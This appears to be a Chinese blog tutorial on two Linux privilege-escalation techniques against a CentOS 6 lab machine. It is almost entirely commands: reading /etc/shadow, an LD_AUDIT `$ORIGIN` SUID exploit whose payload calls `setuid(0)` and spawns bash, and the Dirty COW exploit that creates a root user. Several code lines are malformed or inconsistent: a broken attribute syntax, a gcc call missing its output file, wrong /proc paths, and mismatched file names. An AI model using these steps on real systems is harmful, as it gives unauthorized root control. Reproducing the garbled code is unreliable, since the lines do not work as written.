介绍两种提权方式提权

2019-09-24 17:58:29 浏览数 (1)

话不多说,进入正文

一、搭建环境

1、下载并安装实验机contos6

2、创建新用户并安装GCC

代码语言:javascript复制
yum install gcc
yum install gcc-c  
useradd test_dora

3、切换用户,并查看用户权限与系统版本内核版本

代码语言:javascript复制
su test_dora
id
cat /etc/shadow
uname -an
lsb_release -a

二、suid提权

代码语言:javascript复制
ll /tmp/ -d
cd /tmp
mkdir test_dora
ll /bin/ping
ln -s /bin/ping /tmp/test_dora/target
ll /tmp/test_dora/target
exec 3< /tmp/test_dora/target
ll /tmp/proc/$$/fd/3
vi testpayload.c
void __attribute__(()constructor) init()
{
 setuid(0);
 system("/bin/bash");
}
gcc -w -fPIC -shared -o /tmp/test_dora/testpayload.c
LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
id

三、脏牛提权

代码语言:javascript复制
# dirtycow.c下载链接:https://github.com/dirtycow/dirtycow.github.io.git
gcc -pthread dirty1.c -o dirty1 -lcrypt
./dirty1 test_yes
su firefart
id

0 人点赞